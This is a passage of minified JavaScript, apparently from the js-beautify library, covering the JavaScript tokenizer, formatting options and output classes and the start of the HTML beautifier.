"+f(n[t])):r&&n[t].length>o?v(n[t].substring(o)):l.add_token(n[t]);a(!1,!0)}function li(){l.space_before_token=!0;v();l.space_before_token=!0}function ai(){e.wanted_newline?a(!1,!0):l.trim(!0);l.space_before_token=!0;v();a(!1,!0)}function vi(){tt();o==="TK_RESERVED"&&st(u.last_text)?l.space_before_token=!0:k(u.last_text===")"&&c.break_chained_methods);v()}function yi(){v();e.text[e.text.length-1]==="\n"&&a()}function pi(){while(u.mode===t.Statement)b()}var l,ct=[],lt,g,e,o,w,ft,u,p,et,y,at,c,vt="",it;for(at={TK_START_EXPR:ti,TK_END_EXPR:ii,TK_START_BLOCK:ri,TK_END_BLOCK:ui,TK_WORD:wt,TK_RESERVED:wt,TK_SEMICOLON:fi,TK_STRING:ei,TK_EQUALS:oi,TK_OPERATOR:hi,TK_COMMA:si,TK_BLOCK_COMMENT:ci,TK_INLINE_COMMENT:li,TK_COMMENT:ai,TK_DOT:vi,TK_UNKNOWN:yi,TK_EOF:pi},r=r?r:{},c={},r.braces_on_own_line!==undefined&&(c.brace_style=r.braces_on_own_line?"expand":"collapse"),c.brace_style=r.brace_style?r.brace_style:c.brace_style?c.brace_style:"collapse",c.brace_style==="expand-strict"&&(c.brace_style="expand"),c.indent_size=r.indent_size?parseInt(r.indent_size,10):4,c.indent_char=r.indent_char?r.indent_char:" ",c.preserve_newlines=r.preserve_newlines===undefined?!0:r.preserve_newlines,c.break_chained_methods=r.break_chained_methods===undefined?!1:r.break_chained_methods,c.max_preserve_newlines=r.max_preserve_newlines===undefined?0:parseInt(r.max_preserve_newlines,10),c.space_in_paren=r.space_in_paren===undefined?!1:r.space_in_paren,c.space_in_empty_paren=r.space_in_empty_paren===undefined?!1:r.space_in_empty_paren,c.jslint_happy=r.jslint_happy===undefined?!1:r.jslint_happy,c.space_after_anon_function=r.space_after_anon_function===undefined?!1:r.space_after_anon_function,c.keep_array_indentation=r.keep_array_indentation===undefined?!1:r.keep_array_indentation,c.space_before_conditional=r.space_before_conditional===undefined?!0:r.space_before_conditional,c.unescape_strings=r.unescape_strings===undefined?!1:r.unescape_strings,c.wrap_line_length=r.wrap_line_length===undefined?0:parseInt(r.wrap_line_length,10),c.e4x=r.e4x===undefined?!1:r.e4x,c.end_with_newline=r.end_with_newline===undefined?!1:r.end_with_newline,c.jslint_happy&&(c.space_after_anon_function=!0),r.indent_with_tabs&&(c.indent_char="\t",c.indent_size=1),ft="";c.indent_size>0;)ft+=c.indent_char,c.indent_size-=1;if(it=0,i&&i.length){while(i.charAt(it)===" "||i.charAt(it)==="\t")vt+=i.charAt(it),it+=1;i=i.substring(it)}o="TK_START_BLOCK";w="";l=new s(ft,vt);et=[];nt(t.BlockStatement);this.beautify=function(){var n,r,t;for(g=new h(i,c,ft),ct=g.tokenize(),lt=0;n=ht();){for(t=0;t<n.comments_before.length;t++)pt(n.comments_before[t]);pt(n);w=u.last_text;o=n.type;u.last_text=n.text;lt+=1}return r=l.get_code(),c.end_with_newline&&(r+="\n"),r}}function o(){var t=0,n=[];this.get_character_count=function(){return t};this.get_item_count=function(){return n.length};this.get_output=function(){return n.join("")};this.last=function(){return n.length?n[n.length-1]:null};this.push=function(i){n.push(i);t+=i.length};this.remove_indent=function(i,r){var u=0;n.length!==0&&(r&&n[0]===r&&(u=1),n[u]===i&&(t-=n[u].length,n.splice(u,1)))};this.trim=function(i,r){while(this.get_item_count()&&(this.last()===" "||this.last()===i||this.last()===r)){var u=n.pop();t-=u.length}}}function s(n,i){var r=[];this.baseIndentString=i;this.current_line=null;this.space_before_token=!1;this.get_line_number=function(){return r.length};this.add_new_line=function(n){return this.get_line_number()===1&&this.just_added_newline()?!1:n||!this.just_added_newline()?(this.current_line=new o,r.push(this.current_line),!0):!1};this.add_new_line(!0);this.get_code=function(){for(var t=r[0].get_output(),n=1;n<r.length;n++)t+="\n"+r[n].get_output();return t.replace(/[\r\n\t ]+$/,"")};this.add_indent_string=function(t){if(i&&this.current_line.push(i),r.length>1){for(var u=0;u<t;u+=1)this.current_line.push(n);return!0}return!1};this.add_token=function(n){this.add_space_before_token();this.current_line.push(n)};this.add_space_before_token=function(){if(this.space_before_token&&this.current_line.get_item_count()){var t=this.current_line.last();t!==" "&&t!==n&&t!==i&&this.current_line.push(" ")}this.space_before_token=!1};this.remove_redundant_indentation=function(u){if(!u.multiline_frame&&u.mode!==t.ForInitializer&&u.mode!==t.Conditional)for(var f=u.start_line_index,e=r.length;f<e;)r[f].remove_indent(n,i),f++};this.trim=function(t){for(t=t===undefined?!1:t,this.current_line.trim(n,i);t&&r.length>1&&this.current_line.get_item_count()===0;)r.pop(),this.current_line=r[r.length-1],this.current_line.trim(n,i)};this.just_added_newline=function(){return this.current_line.get_item_count()===0};this.just_added_blankline=function(){if(this.just_added_newline()){if(r.length===1)return!0;var n=r[r.length-2];return n.get_item_count()===0}return!1}}function h(t,r,e){function w(){var nt,d,w,rt,ct,et,pt,st,lt,ut;if(c=0,l=[],o>=s)return["","TK_EOF"];for(d=h.length?h[h.length-1]:new u("TK_START_BLOCK","{"),w=t.charAt(o),o+=1;n(w,b);){if(w==="\n"?(c+=1,l=[]):c&&(w===e?l.push(e):w!=="\r"&&l.push(" ")),o>=s)return["","TK_EOF"];w=t.charAt(o);o+=1}if(v.test(w)){var ft=!0,ht=!0,at=v;for(w==="0"&&o<s&&/[Xx]/.test(t.charAt(o))?(ft=!1,ht=!1,w+=t.charAt(o),o+=1,at=/[0123456789abcdefABCDEF]/):(w="",o-=1);o<s&&at.test(t.charAt(o));)w+=t.charAt(o),o+=1,ft&&o<s&&t.charAt(o)==="."&&(w+=t.charAt(o),o+=1,ft=!1),ht&&o<s&&/[Ee]/.test(t.charAt(o))&&(w+=t.charAt(o),o+=1,o<s&&/[+-]/.test(t.charAt(o))&&(w+=t.charAt(o),o+=1),ht=!1,ft=!1);return[w,"TK_WORD"]}if(i.isIdentifierStart(t.charCodeAt(o-1))){if(o<s)while(i.isIdentifierChar(t.charCodeAt(o)))if(w+=t.charAt(o),o+=1,o===s)break;return!(d.type==="TK_DOT"||d.type==="TK_RESERVED"&&n(d.text,["set","get"]))&&n(w,p)?w==="in"?[w,"TK_OPERATOR"]:[w,"TK_RESERVED"]:[w,"TK_WORD"]}if(w==="("||w==="[")return[w,"TK_START_EXPR"];if(w===")"||w==="]")return[w,"TK_END_EXPR"];if(w==="{")return[w,"TK_START_BLOCK"];if(w==="}")return[w,"TK_END_BLOCK"];if(w===";")return[w,"TK_SEMICOLON"];if(w==="/"){if(rt="",ct=!0,t.charAt(o)==="*"){if(o+=1,o<s)while(o<s&&!(t.charAt(o)==="*"&&t.charAt(o+1)&&t.charAt(o+1)==="/"))if(w=t.charAt(o),rt+=w,(w==="\n"||w==="\r")&&(ct=!1),o+=1,o>=s)break;return o+=2,ct&&c===0?["/*"+rt+"*/","TK_INLINE_COMMENT"]:["/*"+rt+"*/","TK_BLOCK_COMMENT"]}if(t.charAt(o)==="/"){for(rt=w;t.charAt(o)!=="\r"&&t.charAt(o)!=="\n";)if(rt+=t.charAt(o),o+=1,o>=s)break;return[rt,"TK_COMMENT"]}}if(w==="`"||w==="'"||w==='"'||(w==="/"||r.e4x&&w==="<"&&t.slice(o-1).match(/^<([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])\s*([-a-zA-Z:0-9_.]+=('[^']*'|"[^"]*"|{[^{}]*})\s*)*\/?\s*>/))&&(d.type==="TK_RESERVED"&&n(d.text,["return","case","throw","else","do","typeof","yield"])||d.type==="TK_END_EXPR"&&d.text===")"&&d.parent&&d.parent.type==="TK_RESERVED"&&n(d.parent.text,["if","while","for"])||n(d.type,["TK_COMMENT","TK_START_EXPR","TK_START_BLOCK","TK_END_BLOCK","TK_OPERATOR","TK_EQUALS","TK_EOF","TK_SEMICOLON","TK_COMMA"]))){var tt=w,it=!1,vt=!1;if(nt=w,tt==="/")for(et=!1;o<s&&(it||et||t.charAt(o)!==tt)&&!i.newline.test(t.charAt(o));)nt+=t.charAt(o),it?it=!1:(it=t.charAt(o)==="\\",t.charAt(o)==="["?et=!0:t.charAt(o)==="]"&&(et=!1)),o+=1;else if(r.e4x&&tt==="<"){var yt=/<(\/?)([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])\s*([-a-zA-Z:0-9_.]+=('[^']*'|"[^"]*"|{[^{}]*})\s*)*(\/?)\s*>/g,ot=t.slice(o-1),g=yt.exec(ot);if(g&&g.index===0){for(pt=g[2],st=0;g;){var bt=!!g[1],wt=g[2],kt=!!g[g.length-1]||wt.slice(0,8)==="![CDATA[";if(wt!==pt||kt||(bt?--st:++st),st<=0)break;g=yt.exec(ot)}return lt=g?g.index+g[0].length:ot.length,o+=lt-1,[ot.slice(0,lt),"TK_STRING"]}}else while(o<s&&(it||t.charAt(o)!==tt&&(tt==="`"||!i.newline.test(t.charAt(o)))))nt+=t.charAt(o),it?((t.charAt(o)==="x"||t.charAt(o)==="u")&&(vt=!0),it=!1):it=t.charAt(o)==="\\",o+=1;if(vt&&r.unescape_strings&&(nt=k(nt)),o<s&&t.charAt(o)===tt&&(nt+=tt,o+=1,tt==="/"))while(o<s&&i.isIdentifierStart(t.charCodeAt(o)))nt+=t.charAt(o),o+=1;return[nt,"TK_STRING"]}if(w==="#"){if(h.length===0&&t.charAt(o)==="!"){for(nt=w;o<s&&w!=="\n";)w=t.charAt(o),nt+=w,o+=1;return[f(nt)+"\n","TK_UNKNOWN"]}if(ut="#",o<s&&v.test(t.charAt(o))){do w=t.charAt(o),ut+=w,o+=1;while(o<s&&w!=="#"&&w!=="=");return w==="#"||(t.charAt(o)==="["&&t.charAt(o+1)==="]"?(ut+="[]",o+=2):t.charAt(o)==="{"&&t.charAt(o+1)==="}"&&(ut+="{}",o+=2)),[ut,"TK_WORD"]}}if(w==="<"&&t.substring(o-1,o+3)==="<!--"){for(o+=3,w="<!--";t.charAt(o)!=="\n"&&o<s;)w+=t.charAt(o),o++;return a=!0,[w,"TK_COMMENT"]}if(w==="-"&&a&&t.substring(o-1,o+2)==="-->")return a=!1,o+=2,["-->","TK_COMMENT"];if(w===".")return[w,"TK_DOT"];if(n(w,y)){while(o<s&&n(w+t.charAt(o),y))if(w+=t.charAt(o),o+=1,o>=s)break;return w===","?[w,"TK_COMMA"]:w==="="?[w,"TK_EQUALS"]:[w,"TK_OPERATOR"]}return[w,"TK_UNKNOWN"]}function k(n){for(var e=!1,u="",r=0,f="",t=0,i;e||r<n.length;)if(i=n.charAt(r),r++,e){if(e=!1,i==="x")f=n.substr(r,2),r+=2;else if(i==="u")f=n.substr(r,4),r+=4;else{u+="\\"+i;continue}if(!f.match(/^[0123456789abcdefABCDEF]+$/))return n;if(t=parseInt(f,16),t>=0&&t<32){u+=i==="x"?"\\x"+f:"\\u"+f;continue}else if(t===34||t===39||t===92)u+="\\"+String.fromCharCode(t);else{if(i==="x"&&t>126&&t<=255)return n;u+=String.fromCharCode(t)}}else i==="\\"?e=!0:u+=i;return u}var b="\n\r\t ".split(""),v=/[0-9]/,y=("+ - * / % & ++ -- = += -= *= /= %= == === != !== > < >= <= >> << >>> >>>= >>= <<= && &= | || ! ~ , : ? ^ ^= |= :: =>"+" <%= <% %> <?= <? ?>").split(" "),p,c,l,a,h,o,s;this.line_starters="continue,try,throw,return,var,let,const,if,switch,case,default,for,while,break,function,yield,import,export".split(",");p=this.line_starters.concat(["do","in","else","get","set","new","catch","finally","typeof"]);this.tokenize=function(){s=t.length;o=0;a=!1;h=[];for(var n,f,r,i=null,v=[],e=[];!(f&&f.type==="TK_EOF");){for(r=w(),n=new u(r[1],r[0],c,l);n.type==="TK_INLINE_COMMENT"||n.type==="TK_COMMENT"||n.type==="TK_BLOCK_COMMENT"||n.type==="TK_UNKNOWN";)e.push(n),r=w(),n=new u(r[1],r[0],c,l);e.length&&(n.comments_before=e,e=[]);n.type==="TK_START_BLOCK"||n.type==="TK_START_EXPR"?(n.parent=f,i=n,v.push(n)):(n.type==="TK_END_BLOCK"||n.type==="TK_END_EXPR")&&i&&(n.text==="]"&&i.text==="["||n.text===")"&&i.text==="("||n.text==="}"&&i.text==="}")&&(n.parent=i.parent,i=v.pop());h.push(n);f=n}return h}}var i={},t,u;(function(n){var t="ªµºÀ-ÖØ-öø-ˁˆ-ˑˠ-ˤˬˮͰ-ʹͶͷͺ-ͽΆΈ-ΊΌΎ-ΡΣ-ϵϷ-ҁҊ-ԧԱ-Ֆՙա-ևא-תװ-ײؠ-يٮٯٱ-ۓەۥۦۮۯۺ-ۼۿܐܒ-ܯݍ-ޥޱߊ-ߪߴߵߺࠀ-ࠕࠚࠤࠨࡀ-ࡘࢠࢢ-ࢬऄ-हऽॐक़-ॡॱ-ॷॹ-ॿঅ-ঌএঐও-নপ-রলশ-হঽৎড়ঢ়য়-ৡৰৱਅ-ਊਏਐਓ-ਨਪ-ਰਲਲ਼ਵਸ਼ਸਹਖ਼-ੜਫ਼ੲ-ੴઅ-ઍએ-ઑઓ-નપ-રલળવ-હઽૐૠૡଅ-ଌଏଐଓ-ନପ-ରଲଳଵ-ହଽଡ଼ଢ଼ୟ-ୡୱஃஅ-ஊஎ-ஐஒ-கஙசஜஞடணதந-பம-ஹௐఅ-ఌఎ-ఐఒ-నప-ళవ-హఽౘౙౠౡಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹಽೞೠೡೱೲഅ-ഌഎ-ഐഒ-ഺഽൎൠൡൺ-ൿඅ-ඖක-නඳ-රලව-ෆก-ะาำเ-ๆກຂຄງຈຊຍດ-ທນ-ຟມ-ຣລວສຫອ-ະາຳຽເ-ໄໆໜ-ໟༀཀ-ཇཉ-ཬྈ-ྌက-ဪဿၐ-ၕၚ-ၝၡၥၦၮ-ၰၵ-ႁႎႠ-ჅჇჍა-ჺჼ-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚᎀ-ᎏᎠ-Ᏼᐁ-ᙬᙯ-ᙿᚁ-ᚚᚠ-ᛪᛮ-ᛰᜀ-ᜌᜎ-ᜑᜠ-ᜱᝀ-ᝑᝠ-ᝬᝮ-ᝰក-ឳៗៜᠠ-ᡷᢀ-ᢨᢪᢰ-ᣵᤀ-ᤜᥐ-ᥭᥰ-ᥴᦀ-ᦫᧁ-ᧇᨀ-ᨖᨠ-ᩔᪧᬅ-ᬳᭅ-ᭋᮃ-ᮠᮮᮯᮺ-ᯥᰀ-ᰣᱍ-ᱏᱚ-ᱽᳩ-ᳬᳮ-ᳱᳵᳶᴀ-ᶿḀ-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼⁱⁿₐ-ₜℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℹℼ-ℿⅅ-ⅉⅎⅠ-ↈⰀ-Ⱞⰰ-ⱞⱠ-ⳤⳫ-ⳮⳲⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯⶀ-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞⸯ々-〇〡-〩〱-〵〸-〼ぁ-ゖゝ-ゟァ-ヺー-ヿㄅ-ㄭㄱ-ㆎㆠ-ㆺㇰ-ㇿ㐀-䶵一-鿌ꀀ-ꒌꓐ-ꓽꔀ-ꘌꘐ-ꘟꘪꘫꙀ-ꙮꙿ-ꚗꚠ-ꛯꜗ-ꜟꜢ-ꞈꞋ-ꞎꞐ-ꞓꞠ-Ɦꟸ-ꠁꠃ-ꠅꠇ-ꠊꠌ-ꠢꡀ-ꡳꢂ-ꢳꣲ-ꣷꣻꤊ-ꤥꤰ-ꥆꥠ-ꥼꦄ-ꦲꧏꨀ-ꨨꩀ-ꩂꩄ-ꩋꩠ-ꩶꩺꪀ-ꪯꪱꪵꪶꪹ-ꪽꫀꫂꫛ-ꫝꫠ-ꫪꫲ-ꫴꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꯀ-ꯢ가-힣ힰ-ퟆퟋ-ퟻ豈-舘並-龎ﬀ-ﬆﬓ-ﬗיִײַ-ﬨשׁ-זּטּ-לּמּנּסּףּפּצּ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻﹰ-ﹴﹶ-ﻼＡ-Ｚａ-ｚｦ-ﾾￂ-ￇￊ-ￏￒ-ￗￚ-ￜ",i=new RegExp("["+t+"]"),r=new RegExp("["+t+"̀-ͯ҃-֑҇-ׇֽֿׁׂׅׄؐ-ؚؠ-ىٲ-ۓۧ-ۨۻ-ۼܰ-݊ࠀ-ࠔࠛ-ࠣࠥ-ࠧࠩ-࠭ࡀ-ࡗࣤ-ࣾऀ-ःऺ-़ा-ॏ॑-ॗॢ-ॣ०-९ঁ-ঃ়া-ৄেৈৗয়-ৠਁ-ਃ਼ਾ-ੂੇੈੋ-੍ੑ੦-ੱੵઁ-ઃ઼ા-ૅે-ૉો-્ૢ-ૣ૦-૯ଁ-ଃ଼ା-ୄେୈୋ-୍ୖୗୟ-ୠ୦-୯ஂா-ூெ-ைொ-்ௗ௦-௯ఁ-ఃె-ైొ-్ౕౖౢ-ౣ౦-౯ಂಃ಼ಾ-ೄೆ-ೈೊ-್ೕೖೢ-ೣ೦-೯ംഃെ-ൈൗൢ-ൣ൦-൯ංඃ්ා-ුූෘ-ෟෲෳิ-ฺเ-ๅ๐-๙ິ-ູ່-ໍ໐-໙༘༙༠-༩༹༵༷ཁ-ཇཱ-྄྆-྇ྍ-ྗྙ-ྼ࿆က-ဩ၀-၉ၧ-ၭၱ-ၴႂ-ႍႏ-ႝ፝-፟ᜎ-ᜐᜠ-ᜰᝀ-ᝐᝲᝳក-ឲ៝០-៩᠋-᠍᠐-᠙ᤠ-ᤫᤰ-᤻ᥑ-ᥭᦰ-ᧀᧈ-ᧉ᧐-᧙ᨀ-ᨕᨠ-ᩓ᩠-᩿᩼-᪉᪐-᪙ᭆ-ᭋ᭐-᭙᭫-᭳᮰-᮹᯦-᯳ᰀ-ᰢ᱀-᱉ᱛ-ᱽ᳐-᳒ᴀ-ᶾḁ-ἕ‌‍‿⁀⁔⃐-⃥⃜⃡-⃰ⶁ-ⶖⷠ-ⷿ〡-〨゙゚Ꙁ-ꙭꙴ-꙽ꚟ꛰-꛱ꟸ-ꠀ꠆ꠋꠣ-ꠧꢀ-ꢁꢴ-꣄꣐-꣙ꣳ-ꣷ꤀-꤉ꤦ-꤭ꤰ-ꥅꦀ-ꦃ꦳-꧀ꨀ-ꨧꩀ-ꩁꩌ-ꩍ꩐-꩙ꩻꫠ-ꫩꫲ-ꫳꯀ-ꯡ꯬꯭꯰-꯹ﬠ-ﬨ︀-️︠-︦︳︴﹍-﹏０-９＿]"),u=n.newline=/[\n\r\u2028\u2029]/,f=n.isIdentifierStart=function(n){return n<65?n===36:n<91?!0:n<97?n===95:n<123?!0:n>=170&&i.test(String.fromCharCode(n))},e=n.isIdentifierChar=function(n){return n<48?n===36:n<58?!0:n<65?!1:n<91?!0:n<97?n===95:n<123?!0:n>=170&&r.test(String.fromCharCode(n))}})(i);t={BlockStatement:"BlockStatement",Statement:"Statement",ObjectLiteral:"ObjectLiteral",ArrayLiteral:"ArrayLiteral",ForInitializer:"ForInitializer",Conditional:"Conditional",Expression:"Expression"};u=function(n,t,i,r){this.type=n;this.text=t;this.comments_before=[];this.newlines=i||0;this.wanted_newline=i>0;this.whitespace_before=r||[];this.parent=null};typeof define=="function"&&define.amd?define([],function(){return{js_beautify:r}}):typeof exports!="undefined"?exports.js_beautify=r:typeof window!="undefined"?window.js_beautify=r:typeof global!="undefined"&&(global.js_beautify=r)})(),function(){function i(n){return n.replace(/^\s+/g,"")}function t(n){return n.replace(/\s+$/g,"")}function n(n,r,u,f){function ft(){return this.pos=0,this.token="",this.current_mode="CONTENT",this.tags={parent:"parent1",parentcount:1,parent1:""},this.tag_type="",this.token_text=this.last_token=this.last_text=this.token_type="",this.newlines=0,this.indent_content=k,this.Utils={whitespace:"\n\r\t ".split(""),single_token:"br,input,link,meta,!doctype,basefont,base,area,hr,wbr,param,img,isindex,?xml,embed,?php,?,?=".split(","),extra_liners:"head,body,/html".split(","),in_array:function(n,t){for(var i=0;i<t.length;i++)if(n===t[i])return!0;return!1}},this.is_whitespace=function(n){for(var t=0;t<n.length;n++)if(!this.Utils.in_array(n.charAt(t),this.Utils.whitespace))return!1;return!0},this.traverse_whitespace=function(){var n="";if(n=this.input.charAt(this.pos),this.Utils.in_array(n,this.Utils.whitespace)){for(this.newlines=0;this.Utils.in_array(n,this.Utils.whitespace);)v&&n==="\n"&&this.newlines<=it&&(this.newlines+=1),this.pos++,n=this.input.charAt(this.pos);return!0}return!1},this.space_or_wrap=function(n){this.line_char_count>=this.wrap_line_length?(this.print_newline(!1,n),this.print_indentation(n)):(this.line_char_count++,n.push(" "))},this.get_content=function(){for(var i="",n=[],t;this.input.charAt(this.pos)!=="<";){if(this.pos>=this.input.length)return n.length?n.join(""):["","TK_EOF"];if(this.traverse_whitespace()){this.space_or_wrap(n);continue}if(o)if(t=this.input.substr(this.pos,3),t==="{{#"||t==="{{/")break;else if(this.input.substr(this.pos,2)==="{{"&&this.get_tag(!0)==="{{else}}")break;i=this.input.charAt(this.pos);this.pos++;this.line_char_count++;n.push(i)}return n.length?n.join(""):""},this.get_contents_to=function(n){var i,t;if(this.pos===this.input.length)return["","TK_EOF"];var r="",u=new RegExp("<\/"+n+"\\s*>","igm");return u.lastIndex=this.pos,i=u.exec(this.input),t=i?i.index:this.input.length,this.pos<t&&(r=this.input.substring(this.pos,t),this.pos=t),r},this.record_tag=function(n){this.tags[n+"count"]?(this.tags[n+"count"]++,this.tags[n+this.tags[n+"count"]]=this.indent_level):(this.tags[n+"count"]=1,this.tags[n+this.tags[n+"count"]]=this.indent_level);this.tags[n+this.tags[n+"count"]+"parent"]=this.tags.parent;this.tags.parent=n+this.tags[n+"count"]},this.retrieve_tag=function(n){if(this.tags[n+"count"]){for(var t=this.tags.parent;t;){if(n+this.tags[n+"count"]===t)break;t=this.tags[t+"parent"]}t&&(this.indent_level=this.tags[n+this.tags[n+"count"]],this.tags.parent=this.tags[t+"parent"]);delete this.tags[n+this.tags[n+"count"]+"parent"];delete this.tags[n+this.tags[n+"count"]];this.tags[n+"count"]===1?delete this.tags[n+"count"]:this.tags[n+"count"]--}},this.indent_to_tag=function(n){if(this.tags[n+"count"]){for(var t=this.tags.parent;t;){if(n+this.tags[n+"count"]===t)break;t=this.tags[t+"parent"]}t&&(this.indent_level=this.tags[n+this.tags[n+"count"]])}},this.get_tag=function(n){var r="",t=[],h="",f=!1,s,p,e,c=this.pos,l=this.line_char_count,i,v,y,u;n=n!==undefined?n:!1;do{if(this.pos>=this.input.length)return n&&(this.pos=c,this.line_char_count=l),t.length?t.join(""):["","TK_EOF"];if(r=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(r,this.Utils.whitespace)){f=!0;continue}if((r==="'"||r==='"')&&(r+=this.get_unformatted(r),f=!0),r==="="&&(f=!1),t.length&&t[t.length-1]!=="="&&r!==">"&&f&&(this.space_or_wrap(t),f=!1),o&&e==="<"&&r+this.input.charAt(this.pos)==="{{"&&(r+=this.get_unformatted("}}"),t.length&&t[t.length-1]!==" "&&t[t.length-1]!=="<"&&(r=" "+r),f=!0),r!=="<"||e||(s=this.pos-1,e="<"),o&&!e&&t.length>=2&&t[t.length-1]==="{"&&t[t.length-2]=="{"&&(s=r==="#"||r==="/"?this.pos-3:this.pos-2,e="{"),this.line_char_count++,t.push(r),t[1]&&t[1]==="!"){t=[this.get_comment(s)];break}if(o&&e==="{"&&t.length>2&&t[t.length-2]==="}"&&t[t.length-1]==="}")break}while(r!==">");return i=t.join(""),v=i.indexOf(" ")!==-1?i.indexOf(" "):i[0]==="{"?i.indexOf("}"):i.indexOf(">"),y=i[0]!=="<"&&o?i[2]==="#"?3:2:1,u=i.substring(y,v).toLowerCase(),i.charAt(i.length-2)==="/"||this.Utils.in_array(u,this.Utils.single_token)?n||(this.tag_type="SINGLE"):o&&i[0]==="{"&&u==="else"?n||(this.indent_to_tag("if"),this.tag_type="HANDLEBARS_ELSE",this.indent_content=!0,this.traverse_whitespace()):this.is_unformatted(u,a)?(h=this.get_unformatted("<\/"+u+">",i),t.push(h),p=this.pos-1,this.tag_type="SINGLE"):u==="script"&&(i.search("type")===-1||i.search("type")>-1&&i.search(/\b(text|application)\/(x-)?(javascript|ecmascript|jscript|livescript)/)>-1)?n||(this.record_tag(u),this.tag_type="SCRIPT"):u==="style"&&(i.search("type")===-1||i.search("type")>-1&&i.search("text/css")>-1)?n||(this.record_tag(u),this.tag_type="STYLE"):u.charAt(0)==="!"?n||(this.tag_type="SINGLE",this.traverse_whitespace()):n||(u.charAt(0)==="/"?(this.retrieve_tag(u.substring(1)),this.tag_type="END"):(this.record_tag(u),u.toLowerCase()!=="html"&&(this.indent_content=!0),this.tag_type="START"),this.traverse_whitespace()&&this.space_or_wrap(t),this.Utils.in_array(u,this.Utils.extra_liners)&&(this.print_newline(!1,this.output),this.output.length&&this.output[this.output.length-2]!=="\n"&&this.print_newline(!0,this.output))),n&&(this.pos=c,this.line_char_count=l),t.join("")},this.get_comment=function(n){var t="",i=">",r=!1;for(this.pos=n,input_char=this.input.charAt(this.pos),this.pos++;this.pos<=this.input.length;){if(t+=input_char,t[t.length-1]===i[i.length-1]&&t.indexOf(i)!==-1)break;!r&&t.length<10&&(t.indexOf("<![if")===0?(i="<![endif]>",r=!0):t.indexOf("<![cdata[")===0?(i="]\]>",r=!0):t.indexOf("<![")===0?(i="]>",r=!0):t.indexOf("<!--")===0&&(i="-->",r=!0));input_char=this.input.charAt(this.pos);this.pos++}return t},this.get_unformatted=function(n,t){if(t&&t.toLowerCase().indexOf(n)!==-1)return"";var r="",i="",u=0,f=!0;do{if(this.pos>=this.input.length)return i;if(r=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(r,this.Utils.whitespace)){if(!f){this.line_char_count--;continue}if(r==="\n"||r==="\r"){i+="\n";this.line_char_count=0;continue}}i+=r;this.line_char_count++;f=!0;o&&r==="{"&&i.length&&i[i.length-2]==="{"&&(i+=this.get_unformatted("}}"),u=i.length)}while(i.toLowerCase().indexOf(n,u)===-1);return i},this.get_token=function(){var n,t,i;return this.last_token==="TK_TAG_SCRIPT"||this.last_token==="TK_TAG_STYLE"?(t=this.last_token.substr(7),n=this.get_contents_to(t),typeof n!="string")?n:[n,"TK_"+t]:this.current_mode==="CONTENT"?(n=this.get_content(),typeof n!="string"?n:[n,"TK_CONTENT"]):this.current_mode==="TAG"?(n=this.get_tag(),typeof n!="string"?n:(i="TK_TAG_"+this.tag_type,[n,i])):void 0},this.get_full_indent=function(n){return(n=this.indent_level+n||0,n<1)?"":Array(n+1).join(this.indent_string)},this.is_unformatted=function(n,t){if(!this.Utils.in_array(n,t))return!1;if(n.toLowerCase()!=="a"||!this.Utils.in_array("a",t))return!0;var r=this.get_tag(!0),i=(r||"").match(/^\s*<\s*\/?([a-z]*)\s*[^>]*>\s*$/);return!i||this.Utils.in_array(i,t)?!0:!1},this.printer=function(n,r,u,f,e){this.input=n||"";this.output=[];this.indent_character=r;this.indent_string="";this.indent_size=u;this.brace_style=e;this.indent_level=0;this.wrap_line_length=f;this.line_char_count=0;for(var o=0;o<this.indent_size;o++)this.indent_string+=this.indent_character;this.print_newline=function(n,i){(this.line_char_count=0,i&&i.length)&&(n||i[i.length-1]!=="\n")&&(i[i.length-1]!=="\n"&&(i[i.length-1]=t(i[i.length-1])),i.push("\n"))};this.print_indentation=function(n){for(var t=0;t<this.indent_level;t++)n.push(this.indent_string),this.line_char_count+=this.indent_string.length};this.print_token=function(n){(!this.is_whitespace(n)||this.output.length)&&((n||n!=="")&&this.output.length&&this.output[this.output.length-1]==="\n"&&(this.print_indentation(this.output),n=i(n)),this.print_token_raw(n))};this.print_token_raw=function(n){this.newlines>0&&(n=t(n));n&&n!==""&&(n.length>1&&n[n.length-1]==="\n"?(this.output.push(n.slice(0,-1)),this.print_newline(!1,this.output)):this.output.push(n));for(var i=0;i<this.newlines;i++)this.print_newline(i>0,this.output);this.newlines=0};this.indent=function(){this.indent_level++};this.unindent=function(){this.indent_level>0&&this.indent_level--}},this}var e,k,d,g,nt,tt,a,v,it,o,rt,y,ut,c,p,s,l,h,w,b;for(r=r||{},(r.wrap_line_length===undefined||parseInt(r.wrap_line_length,10)===0)&&r.max_char!==undefined&&parseInt(r.max_char,10)!==0&&(r.wrap_line_length=r.max_char),k=r.indent_inner_html===undefined?!1:r.indent_inner_html,d=r.indent_size===undefined?4:parseInt(r.indent_size,10),g=r.indent_char===undefined?" ":r.indent_char,tt=r.brace_style===undefined?"collapse":r.brace_style,nt=parseInt(r.wrap_line_length,10)===0?32786:parseInt(r.wrap_line_length||250,10),a=r.unformatted||["a","span","img","bdo","em","strong","dfn","code","samp","kbd","var","cite","abbr","acronym","q","sub","sup","tt","i","b","big","small","u","s","strike","font","ins","del","pre","address","dt","h1","h2","h3","h4","h5","h6"],v=r.preserve_newlines===undefined?!0:r.preserve_newlines,it=v?isNaN(parseInt(r.max_preserve_newlines,10))?32786:parseInt(r.max_preserve_newlines,10):0,o=r.indent_handlebars===undefined?!1:r.indent_handlebars,rt=r.end_with_newline===undefined?!1:r.end_with_newline,e=new 